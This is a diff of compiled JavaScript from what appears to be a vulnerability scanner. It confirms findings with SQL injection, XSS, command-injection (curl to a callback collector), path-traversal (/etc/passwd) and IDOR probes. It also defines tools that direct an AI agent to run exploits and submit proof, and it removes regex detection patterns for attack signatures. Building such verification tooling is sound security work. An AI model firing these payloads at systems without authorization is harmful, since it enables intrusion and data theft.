const victim = pickInjectableParam(parsed);
|
|
2471
|
+
if (!victim)
|
|
2472
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
2473
|
+
const signals = [];
|
|
2474
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
2475
|
+
if (!baseline)
|
|
2476
|
+
return notVerifiable("baseline request failed");
|
|
2477
|
+
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
2478
|
+
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
2479
|
+
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
2480
|
+
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
2481
|
+
if (delta > 0.1) {
|
|
2482
|
+
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
2483
|
+
}
|
|
2484
|
+
}
|
|
2485
|
+
const timePayloads = [
|
|
2486
|
+
`${victim.value}' AND SLEEP(3)-- -`,
|
|
2487
|
+
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
2488
|
+
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
2489
|
+
];
|
|
2490
|
+
for (const payload of timePayloads) {
|
|
2491
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
2492
|
+
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
2493
|
+
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
2494
|
+
break;
|
|
2495
|
+
}
|
|
2496
|
+
}
|
|
2497
|
+
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
2498
|
+
if (errProbe) {
|
|
2499
|
+
const err = detectSqlError(errProbe.body);
|
|
2500
|
+
if (err)
|
|
2501
|
+
signals.push(`sql_error: ${err}`);
|
|
2502
|
+
}
|
|
2503
|
+
if (signals.length >= 2) {
|
|
2504
|
+
return verified(signals.join(" | "));
|
|
2505
|
+
}
|
|
2506
|
+
return {
|
|
2507
|
+
verified: false,
|
|
2508
|
+
confidence: signals.length === 1 ? 0.4 : 0,
|
|
2509
|
+
evidence: signals.join(" | "),
|
|
2510
|
+
reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
2511
|
+
};
|
|
2512
|
+
}
|
|
2513
|
+
async function verifyReflectedXss(finding, target, context = {}) {
|
|
2514
|
+
const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
|
|
2515
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2516
|
+
const victim = pickInjectableParam(parsed);
|
|
2517
|
+
if (!victim)
|
|
2518
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
2519
|
+
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
2520
|
+
const payload = `<script>alert('${token}')</script>`;
|
|
2521
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
2522
|
+
[victim.key]: payload
|
|
2523
|
+
});
|
|
2524
|
+
const probe = await timedFetch(url, init);
|
|
2525
|
+
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
2526
|
+
let playwright = null;
|
|
2527
|
+
try {
|
|
2528
|
+
playwright = await import("playwright");
|
|
2529
|
+
} catch {
|
|
2530
|
+
}
|
|
2531
|
+
if (playwright) {
|
|
2532
|
+
let browser = null;
|
|
2533
|
+
try {
|
|
2534
|
+
browser = await playwright.chromium.launch({ headless: true });
|
|
2535
|
+
const page = await browser.newPage();
|
|
2536
|
+
let dialogMessage = "";
|
|
2537
|
+
page.on("dialog", async (dialog) => {
|
|
2538
|
+
if (dialog.type() === "alert" && dialog.message() === token) {
|
|
2539
|
+
dialogMessage = token;
|
|
2540
|
+
}
|
|
2541
|
+
await dialog.dismiss().catch(() => {
|
|
2542
|
+
});
|
|
2543
|
+
});
|
|
2544
|
+
let replayed = false;
|
|
2545
|
+
await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
|
|
2546
|
+
const request = route.request();
|
|
2547
|
+
const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
|
|
2548
|
+
if (initial)
|
|
2549
|
+
replayed = true;
|
|
2550
|
+
const replayInit = {
|
|
2551
|
+
method: initial ? init.method : request.method(),
|
|
2552
|
+
headers: initial ? init.headers : request.headers(),
|
|
2553
|
+
body: initial ? init.body : request.postData(),
|
|
2554
|
+
redirect: "manual"
|
|
2555
|
+
};
|
|
2556
|
+
if (context.fetch) {
|
|
2557
|
+
try {
|
|
2558
|
+
const response = await context.fetch(request.url(), replayInit);
|
|
2559
|
+
const headers = Object.fromEntries(response.headers);
|
|
2560
|
+
delete headers["content-encoding"];
|
|
2561
|
+
delete headers["content-length"];
|
|
2562
|
+
await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
|
|
2563
|
+
} catch {
|
|
2564
|
+
await route.abort();
|
|
2565
|
+
}
|
|
2566
|
+
} else if (initial) {
|
|
2567
|
+
await route.continue({
|
|
2568
|
+
method: init.method,
|
|
2569
|
+
headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
|
|
2570
|
+
...typeof init.body === "string" ? { postData: init.body } : {}
|
|
2571
|
+
});
|
|
2572
|
+
} else {
|
|
2573
|
+
await route.continue();
|
|
2574
|
+
}
|
|
2575
|
+
});
|
|
2576
|
+
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
2577
|
+
await page.waitForTimeout(500);
|
|
2578
|
+
await browser.close();
|
|
2579
|
+
browser = null;
|
|
2580
|
+
if (dialogMessage === token) {
|
|
2581
|
+
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
2582
|
+
}
|
|
2583
|
+
} catch (err) {
|
|
2584
|
+
if (browser)
|
|
2585
|
+
await browser.close().catch(() => {
|
|
2586
|
+
});
|
|
2587
|
+
return {
|
|
2588
|
+
verified: false,
|
|
2589
|
+
confidence: htmlReflected ? 0.4 : 0,
|
|
2590
|
+
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
2591
|
+
inconclusive: true,
|
|
2592
|
+
reason: `playwright navigation failed: ${err.message}`
|
|
2593
|
+
};
|
|
2594
|
+
}
|
|
2595
|
+
}
|
|
2596
|
+
if (htmlReflected) {
|
|
2597
|
+
return {
|
|
2598
|
+
verified: false,
|
|
2599
|
+
confidence: 0.5,
|
|
2600
|
+
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
2601
|
+
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
2602
|
+
};
|
|
2603
|
+
}
|
|
2604
|
+
return notVerifiable("no xss reflection or alert captured");
|
|
2605
|
+
}
|
|
2606
|
+
async function withCollector(nonce, timeoutMs, work) {
|
|
2607
|
+
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
2608
|
+
let hit = false;
|
|
2609
|
+
const server = createServer((req, res) => {
|
|
2610
|
+
if ((req.url ?? "").includes(nonce))
|
|
2611
|
+
hit = true;
|
|
2612
|
+
res.writeHead(200);
|
|
2613
|
+
res.end("ok");
|
|
2614
|
+
});
|
|
2615
|
+
await new Promise((resolve2) => server.listen(port, "127.0.0.1", resolve2));
|
|
2616
|
+
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
2617
|
+
const waitForHit = async () => {
|
|
2618
|
+
const deadline = Date.now() + timeoutMs;
|
|
2619
|
+
while (Date.now() < deadline) {
|
|
2620
|
+
if (hit)
|
|
2621
|
+
return true;
|
|
2622
|
+
await new Promise((r) => setTimeout(r, 100));
|
|
2623
|
+
}
|
|
2624
|
+
return hit;
|
|
2625
|
+
};
|
|
2626
|
+
try {
|
|
2627
|
+
return await work(collectorUrl, waitForHit);
|
|
2628
|
+
} finally {
|
|
2629
|
+
await new Promise((resolve2) => server.close(() => resolve2()));
|
|
2630
|
+
}
|
|
2631
|
+
}
|
|
2632
|
+
async function verifySsrf(finding, target, context = {}) {
|
|
2633
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
2634
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2635
|
+
const victim = pickInjectableParam(parsed);
|
|
2636
|
+
if (!victim)
|
|
2637
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
2638
|
+
const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
2639
|
+
return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
|
|
2640
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
2641
|
+
[victim.key]: collectorUrl
|
|
2642
|
+
});
|
|
2643
|
+
const probe = await timedFetch(url, init, 8e3);
|
|
2644
|
+
if (!probe)
|
|
2645
|
+
return notVerifiable("ssrf probe failed to send");
|
|
2646
|
+
const hit = await waitForHit();
|
|
2647
|
+
if (hit) {
|
|
2648
|
+
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
2649
|
+
}
|
|
2650
|
+
return {
|
|
2651
|
+
verified: false,
|
|
2652
|
+
confidence: 0,
|
|
2653
|
+
evidence: "",
|
|
2654
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
2655
|
+
};
|
|
2656
|
+
});
|
|
2657
|
+
}
|
|
2658
|
+
async function verifyRce(finding, target, context = {}) {
|
|
2659
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
2660
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2661
|
+
const victim = pickInjectableParam(parsed);
|
|
2662
|
+
if (!victim)
|
|
2663
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
2664
|
+
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
2665
|
+
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
2666
|
+
const payloads = [
|
|
2667
|
+
`${victim.value};curl ${collectorUrl}`,
|
|
2668
|
+
`${victim.value}|curl ${collectorUrl}`,
|
|
2669
|
+
`${victim.value}$(curl ${collectorUrl})`,
|
|
2670
|
+
`${victim.value}\`curl ${collectorUrl}\``,
|
|
2671
|
+
`${victim.value}&&curl ${collectorUrl}`
|
|
2672
|
+
];
|
|
2673
|
+
for (const payload of payloads) {
|
|
2674
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
2675
|
+
[victim.key]: payload
|
|
2676
|
+
});
|
|
2677
|
+
await timedFetch(url, init, 8e3);
|
|
2678
|
+
}
|
|
2679
|
+
const hit = await waitForHit();
|
|
2680
|
+
if (hit)
|
|
2681
|
+
return verified(`collector hit: nonce=${nonce}`);
|
|
2682
|
+
return {
|
|
2683
|
+
verified: false,
|
|
2684
|
+
confidence: 0,
|
|
2685
|
+
evidence: "",
|
|
2686
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
2687
|
+
};
|
|
2688
|
+
});
|
|
2689
|
+
}
|
|
2690
|
+
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
2691
|
+
async function verifyPathTraversal(finding, target, context = {}) {
|
|
2692
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
2693
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2694
|
+
const victim = pickInjectableParam(parsed);
|
|
2695
|
+
if (!victim)
|
|
2696
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
2697
|
+
const payloads = [
|
|
2698
|
+
"../../../../etc/passwd",
|
|
2699
|
+
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
2700
|
+
"..%252f..%252f..%252fetc%252fpasswd",
|
|
2701
|
+
"../../../../etc/passwd%00",
|
|
2702
|
+
"....//....//....//etc/passwd",
|
|
2703
|
+
"/etc/passwd"
|
|
2704
|
+
];
|
|
2705
|
+
for (const payload of payloads) {
|
|
2706
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
2707
|
+
[victim.key]: payload
|
|
2708
|
+
});
|
|
2709
|
+
const probe = await timedFetch(url, init);
|
|
2710
|
+
if (!probe)
|
|
2711
|
+
continue;
|
|
2712
|
+
const m = probe.body.match(PASSWD_PATTERN);
|
|
2713
|
+
if (m) {
|
|
2714
|
+
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
2715
|
+
}
|
|
2716
|
+
}
|
|
2717
|
+
return notVerifiable("no /etc/passwd signature in any traversal probe response");
|
|
2718
|
+
}
|
|
2719
|
+
async function verifyIdor(finding, target, context = {}) {
|
|
2720
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
2721
|
+
const boundary = await context.verifyAccessControl?.(finding, target);
|
|
2722
|
+
if (boundary)
|
|
2723
|
+
return boundary;
|
|
2724
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2725
|
+
if (parsed.method !== "GET")
|
|
2726
|
+
return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
|
|
2727
|
+
let idKey = null;
|
|
2728
|
+
let idValue = 0;
|
|
2729
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
2730
|
+
if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
|
|
2731
|
+
idKey = k;
|
|
2732
|
+
idValue = parseInt(v, 10);
|
|
2733
|
+
break;
|
|
2734
|
+
}
|
|
2735
|
+
}
|
|
2736
|
+
if (!idKey) {
|
|
2737
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
2738
|
+
if (/^\d+$/.test(v)) {
|
|
2739
|
+
idKey = k;
|
|
2740
|
+
idValue = parseInt(v, 10);
|
|
2741
|
+
break;
|
|
2742
|
+
}
|
|
2743
|
+
}
|
|
2744
|
+
}
|
|
2745
|
+
if (!idKey)
|
|
2746
|
+
return notVerifiable("no numeric id-like parameter to mutate");
|
|
2747
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
|
|
2748
|
+
if (!baseline)
|
|
2749
|
+
return notVerifiable("baseline request failed");
|
|
2750
|
+
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
2751
|
+
const hits = [];
|
|
2752
|
+
for (const variant of variants) {
|
|
2753
|
+
if (variant === String(idValue))
|
|
2754
|
+
continue;
|
|
2755
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
2756
|
+
if (!probe)
|
|
2757
|
+
continue;
|
|
2758
|
+
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
2759
|
+
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
2760
|
+
}
|
|
2761
|
+
}
|
|
2762
|
+
if (hits.length > 0) {
|
|
2763
|
+
return {
|
|
2764
|
+
verified: false,
|
|
2765
|
+
confidence: 0.7,
|
|
2766
|
+
inconclusive: true,
|
|
2767
|
+
evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
|
|
2768
|
+
reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
|
|
2769
|
+
};
|
|
2770
|
+
}
|
|
2771
|
+
return notVerifiable("no distinct 200 response on id mutation");
|
|
2772
|
+
}
|
|
2773
|
+
async function verifyOracleByCategory(finding, target, context = {}) {
|
|
2774
|
+
const category = finding.category;
|
|
2775
|
+
switch (category) {
|
|
2776
|
+
case "sql-injection":
|
|
2777
|
+
return verifySqli(finding, target, context);
|
|
2778
|
+
case "xss":
|
|
2779
|
+
return verifyReflectedXss(finding, target, context);
|
|
2780
|
+
case "ssrf":
|
|
2781
|
+
return verifySsrf(finding, target, context);
|
|
2782
|
+
case "command-injection":
|
|
2783
|
+
case "code-injection":
|
|
2784
|
+
return verifyRce(finding, target, context);
|
|
2785
|
+
case "path-traversal":
|
|
2786
|
+
return verifyPathTraversal(finding, target, context);
|
|
2787
|
+
// Heuristic: "information-disclosure" findings referencing an id param
|
|
2788
|
+
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
2789
|
+
case "information-disclosure":
|
|
2790
|
+
return verifyIdor(finding, target, context);
|
|
2791
|
+
default:
|
|
2792
|
+
return {
|
|
2793
|
+
verified: false,
|
|
2794
|
+
confidence: 0,
|
|
2795
|
+
evidence: "",
|
|
2796
|
+
reason: `no oracle for category="${category}"`
|
|
2797
|
+
};
|
|
2798
|
+
}
|
|
2799
|
+
}
|
|
1433
2800
|
|
|
1434
|
-
|
|
1435
|
-
|
|
1436
|
-
|
|
1437
|
-
|
|
1438
|
-
|
|
1439
|
-
|
|
1440
|
-
|
|
1441
|
-
|
|
1442
|
-
|
|
1443
|
-
|
|
1444
|
-
|
|
1445
|
-
|
|
1446
|
-
|
|
1447
|
-
|
|
1448
|
-
|
|
1449
|
-
|
|
1450
|
-
|
|
1451
|
-
|
|
1452
|
-
|
|
1453
|
-
|
|
1454
|
-
|
|
1455
|
-
|
|
1456
|
-
|
|
1457
|
-
|
|
1458
|
-
|
|
1459
|
-
|
|
1460
|
-
|
|
1461
|
-
|
|
1462
|
-
{
|
|
1463
|
-
// Structural / JSON-key SQLi (#774): the injectable surface is a key /
|
|
1464
|
-
// field name concatenated into SQL (ORDER BY, dynamic column). These
|
|
1465
|
-
// patterns point at identifier-position injection + the column-name error
|
|
1466
|
-
// shapes that value-fuzz SQLi detection does not key on.
|
|
1467
|
-
type: "structural_sqli",
|
|
1468
|
-
patterns: [
|
|
1469
|
-
/ORDER\s+BY/i,
|
|
1470
|
-
/GROUP\s+BY/i,
|
|
1471
|
-
/Unknown column '[^']*' in/i,
|
|
1472
|
-
/column "[^"]*" does not exist/i,
|
|
1473
|
-
/Invalid column name/i,
|
|
1474
|
-
/no such column/i,
|
|
1475
|
-
/\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
|
|
1476
|
-
/"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
|
|
1477
|
-
/unrecognized token/i
|
|
1478
|
-
]
|
|
1479
|
-
},
|
|
1480
|
-
{
|
|
1481
|
-
type: "ssti",
|
|
1482
|
-
patterns: [
|
|
1483
|
-
/\{\{.*\}\}/,
|
|
1484
|
-
/\$\{.*\}/,
|
|
1485
|
-
/<%=.*%>/,
|
|
1486
|
-
/jinja/i,
|
|
1487
|
-
/mako/i,
|
|
1488
|
-
/twig/i,
|
|
1489
|
-
/freemarker/i,
|
|
1490
|
-
/thymeleaf/i,
|
|
1491
|
-
/template.*engine/i,
|
|
1492
|
-
/\b49\b/
|
|
1493
|
-
// result of {{7*7}}
|
|
1494
|
-
]
|
|
1495
|
-
},
|
|
1496
|
-
{
|
|
1497
|
-
type: "idor",
|
|
1498
|
-
patterns: [
|
|
1499
|
-
/\/api\/users?\/\d+/i,
|
|
1500
|
-
/\/profile\?id=/i,
|
|
1501
|
-
/\/user\/\d+/i,
|
|
1502
|
-
/\/account\/\d+/i,
|
|
1503
|
-
/\/edit\/\d+/i,
|
|
1504
|
-
/\/order\/\d+/i,
|
|
1505
|
-
/user_id/i,
|
|
1506
|
-
/owner_id/i,
|
|
1507
|
-
/account_id/i
|
|
1508
|
-
]
|
|
1509
|
-
},
|
|
1510
|
-
{
|
|
1511
|
-
// Multi-identity access-control surface (0#564). Distinct from `idor`:
|
|
1512
|
-
// these patterns point at object/function references that should be tested
|
|
1513
|
-
// with the access_control_probe tool across identities, plus the authz
|
|
1514
|
-
// signals (admin endpoints, role params, allow/deny status codes).
|
|
1515
|
-
type: "access_control",
|
|
1516
|
-
patterns: [
|
|
1517
|
-
/\/api\/[a-z]+\/\d+/i,
|
|
1518
|
-
/\/api\/admin\//i,
|
|
1519
|
-
/\/admin\b/i,
|
|
1520
|
-
/\bobject[_-]?id\b/i,
|
|
1521
|
-
/\bresource[_-]?id\b/i,
|
|
1522
|
-
/\borg(?:anization)?[_-]?id\b/i,
|
|
1523
|
-
/\btenant[_-]?id\b/i,
|
|
1524
|
-
/\bis[_-]?admin\b/i,
|
|
1525
|
-
/\brole\s*[=:]/i,
|
|
1526
|
-
/\bunauthorized\b/i,
|
|
1527
|
-
/\bforbidden\b/i,
|
|
1528
|
-
/\b403\b/,
|
|
1529
|
-
/\b401\b/
|
|
1530
|
-
]
|
|
1531
|
-
},
|
|
1532
|
-
{
|
|
1533
|
-
type: "xss",
|
|
1534
|
-
patterns: [
|
|
1535
|
-
/<script/i,
|
|
1536
|
-
/onerror\s*=/i,
|
|
1537
|
-
/onload\s*=/i,
|
|
1538
|
-
/javascript:/i,
|
|
1539
|
-
/document\.cookie/i,
|
|
1540
|
-
/innerHTML/i,
|
|
1541
|
-
/document\.write/i,
|
|
1542
|
-
/reflected.*input/i,
|
|
1543
|
-
/Content-Type:.*text\/html/i,
|
|
1544
|
-
/<form[\s>]/i,
|
|
1545
|
-
/<input[\s>]/i,
|
|
1546
|
-
/<textarea[\s>]/i,
|
|
1547
|
-
/type=["']?text["']?/i,
|
|
1548
|
-
/name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
|
|
1549
|
-
/\?[^=]+=.*</i,
|
|
1550
|
-
/xss/i,
|
|
1551
|
-
/cross.site/i,
|
|
1552
|
-
/sanitiz/i,
|
|
1553
|
-
/escape/i,
|
|
1554
|
-
/\.php\?/i
|
|
1555
|
-
]
|
|
1556
|
-
},
|
|
1557
|
-
{
|
|
1558
|
-
type: "ssrf",
|
|
1559
|
-
patterns: [
|
|
1560
|
-
/url[=:]\s*http/i,
|
|
1561
|
-
/webhook/i,
|
|
1562
|
-
/callback.*url/i,
|
|
1563
|
-
/fetch.*url/i,
|
|
1564
|
-
/proxy/i,
|
|
1565
|
-
/redirect.*url/i,
|
|
1566
|
-
/169\.254\.169\.254/,
|
|
1567
|
-
/metadata/i
|
|
1568
|
-
]
|
|
1569
|
-
},
|
|
1570
|
-
{
|
|
1571
|
-
type: "lfi",
|
|
1572
|
-
patterns: [
|
|
1573
|
-
/file[=:]/i,
|
|
1574
|
-
/path[=:]/i,
|
|
1575
|
-
/include[=:]/i,
|
|
1576
|
-
/template[=:]/i,
|
|
1577
|
-
/\.\.\/\.\.\//,
|
|
1578
|
-
/etc\/passwd/i,
|
|
1579
|
-
/\/proc\/self/i,
|
|
1580
|
-
/root:x:0:0/,
|
|
1581
|
-
/\[boot loader\]/i
|
|
1582
|
-
]
|
|
1583
|
-
},
|
|
2801
|
+
// packages/core/dist/triage/pov-gate.js
|
|
2802
|
+
var execFileAsync = promisify(execFile2);
|
|
2803
|
+
function oracleForCategory(category) {
|
|
2804
|
+
switch (category) {
|
|
2805
|
+
case "xss":
|
|
2806
|
+
return "headless-browser";
|
|
2807
|
+
case "ssrf":
|
|
2808
|
+
case "command-injection":
|
|
2809
|
+
case "code-injection":
|
|
2810
|
+
return "oast-callback";
|
|
2811
|
+
default:
|
|
2812
|
+
return "regex-fallback";
|
|
2813
|
+
}
|
|
2814
|
+
}
|
|
2815
|
+
function oastConfirmedPayload(finding, oracle) {
|
|
2816
|
+
if (!oracle.verified)
|
|
2817
|
+
return null;
|
|
2818
|
+
if (oracleForCategory(finding.category) !== "oast-callback")
|
|
2819
|
+
return null;
|
|
2820
|
+
return {
|
|
2821
|
+
findingId: finding.id,
|
|
2822
|
+
category: finding.category,
|
|
2823
|
+
oracle: "oast-callback",
|
|
2824
|
+
hasPov: true,
|
|
2825
|
+
reason: oracle.evidence || void 0
|
|
2826
|
+
};
|
|
2827
|
+
}
|
|
2828
|
+
var POV_TOOLS = [
|
|
1584
2829
|
{
|
|
1585
|
-
|
|
1586
|
-
|
|
1587
|
-
|
|
1588
|
-
|
|
1589
|
-
|
|
1590
|
-
|
|
1591
|
-
|
|
1592
|
-
|
|
1593
|
-
|
|
1594
|
-
/unauthorized/i,
|
|
1595
|
-
/403/,
|
|
1596
|
-
/401/
|
|
1597
|
-
]
|
|
2830
|
+
name: "bash",
|
|
2831
|
+
description: "Execute a shell command (curl, python, etc.) to run the exploit. Use this to actually invoke your PoC and capture its output.",
|
|
2832
|
+
input_schema: {
|
|
2833
|
+
type: "object",
|
|
2834
|
+
properties: {
|
|
2835
|
+
command: { type: "string", description: "Shell command to run" }
|
|
2836
|
+
},
|
|
2837
|
+
required: ["command"]
|
|
2838
|
+
}
|
|
1598
2839
|
},
|
|
1599
2840
|
{
|
|
1600
|
-
|
|
1601
|
-
|
|
1602
|
-
|
|
1603
|
-
|
|
1604
|
-
|
|
1605
|
-
|
|
1606
|
-
|
|
1607
|
-
|
|
1608
|
-
|
|
1609
|
-
|
|
1610
|
-
|
|
1611
|
-
|
|
1612
|
-
|
|
1613
|
-
|
|
1614
|
-
|
|
1615
|
-
/same.*respons/i,
|
|
1616
|
-
/time.?based/i,
|
|
1617
|
-
/out.?of.?band/i,
|
|
1618
|
-
/\boob\b/i,
|
|
1619
|
-
/callback/i,
|
|
1620
|
-
/interactsh/i,
|
|
1621
|
-
/webhook\.site/i,
|
|
1622
|
-
/sleep\(/i,
|
|
1623
|
-
/pg_sleep/i,
|
|
1624
|
-
/benchmark\(/i,
|
|
1625
|
-
/php:\/\/filter/i,
|
|
1626
|
-
/convert\.base64-encode/i,
|
|
1627
|
-
/\.\.%2f/i,
|
|
1628
|
-
/\.\.%252f/i,
|
|
1629
|
-
/encoding.*restrict/i,
|
|
1630
|
-
/sanitiz.*input/i,
|
|
1631
|
-
/stripped/i
|
|
1632
|
-
]
|
|
2841
|
+
name: "http_request",
|
|
2842
|
+
description: "Send a raw HTTP request. Returns the response body/status. Useful when you want a typed request without shelling out to curl.",
|
|
2843
|
+
input_schema: {
|
|
2844
|
+
type: "object",
|
|
2845
|
+
properties: {
|
|
2846
|
+
url: { type: "string", description: "Target URL" },
|
|
2847
|
+
method: { type: "string", description: "HTTP method (default GET)" },
|
|
2848
|
+
body: { type: "string", description: "Request body" },
|
|
2849
|
+
headers: {
|
|
2850
|
+
type: "object",
|
|
2851
|
+
description: "Additional headers as key-value pairs"
|
|
2852
|
+
}
|
|
2853
|
+
},
|
|
2854
|
+
required: ["url"]
|
|
2855
|
+
}
|
|
1633
2856
|
},
|
|
1634
2857
|
{
|
|
1635
|
-
|
|
1636
|
-
|
|
1637
|
-
|
|
1638
|
-
|
|
1639
|
-
|
|
1640
|
-
|
|
1641
|
-
|
|
1642
|
-
|
|
1643
|
-
|
|
1644
|
-
|
|
1645
|
-
|
|
1646
|
-
|
|
2858
|
+
name: "submit_pov",
|
|
2859
|
+
description: "Submit the final proof-of-vulnerability once you have confirmed the exploit works. Call this EXACTLY ONCE with the working artifact and the execution output that proves exploitation. Only call this after you have actually run the exploit and seen category-specific proof in the response.",
|
|
2860
|
+
input_schema: {
|
|
2861
|
+
type: "object",
|
|
2862
|
+
properties: {
|
|
2863
|
+
artifact_type: {
|
|
2864
|
+
type: "string",
|
|
2865
|
+
description: "Type of artifact",
|
|
2866
|
+
enum: ["curl", "python", "javascript", "bash"]
|
|
2867
|
+
},
|
|
2868
|
+
artifact: {
|
|
2869
|
+
type: "string",
|
|
2870
|
+
description: "The concrete PoC (e.g. the full curl command or script source)."
|
|
2871
|
+
},
|
|
2872
|
+
execution_evidence: {
|
|
2873
|
+
type: "string",
|
|
2874
|
+
description: "The response / output from running the artifact, showing category-specific proof (extracted data, /etc/passwd, whoami, reflected script, etc.)."
|
|
2875
|
+
}
|
|
2876
|
+
},
|
|
2877
|
+
required: ["artifact_type", "artifact", "execution_evidence"]
|
|
2878
|
+
}
|
|
1647
2879
|
},
|
|
1648
2880
|
{
|
|
1649
|
-
|
|
2881
|
+
name: "give_up",
|
|
2882
|
+
description: "Call this if you CANNOT produce a working exploit. Do NOT speculate or describe what would happen \u2014 if you cannot run it and see real proof, give up honestly.",
|
|
2883
|
+
input_schema: {
|
|
2884
|
+
type: "object",
|
|
2885
|
+
properties: {
|
|
2886
|
+
reason: { type: "string", description: "Why no PoV was possible" }
|
|
2887
|
+
},
|
|
2888
|
+
required: ["reason"]
|
|
2889
|
+
}
|
|
2890
|
+
}
|
|
2891
|
+
];
|
|
2892
|
+
var CATEGORY_JUDGES = {
|
|
2893
|
+
"sql-injection": {
|
|
2894
|
+
label: "SQLi: extracted DB data / error / version string",
|
|
1650
2895
|
patterns: [
|
|
1651
|
-
|
|
1652
|
-
|
|
1653
|
-
/
|
|
1654
|
-
/
|
|
1655
|
-
/
|
|
1656
|
-
|
|
1657
|
-
/
|
|
1658
|
-
/
|
|
1659
|
-
//
|
|
1660
|
-
/
|
|
1661
|
-
/cPickle/i,
|
|
1662
|
-
/__reduce__/,
|
|
1663
|
-
// YAML
|
|
1664
|
-
/yaml\.load\s*\(/i,
|
|
1665
|
-
/!!python\/object/i,
|
|
1666
|
-
/!ruby\/object/i,
|
|
1667
|
-
/SnakeYAML/i,
|
|
1668
|
-
/FullLoader/,
|
|
1669
|
-
/SafeLoader/,
|
|
1670
|
-
// Java
|
|
1671
|
-
/rO0AB/,
|
|
1672
|
-
// base64 of Java serialization magic
|
|
1673
|
-
/\xac\xed\x00\x05/,
|
|
1674
|
-
/application\/x-java-serialized-object/i,
|
|
1675
|
-
/ysoserial/i,
|
|
1676
|
-
/CommonsCollections/i,
|
|
1677
|
-
// .NET
|
|
1678
|
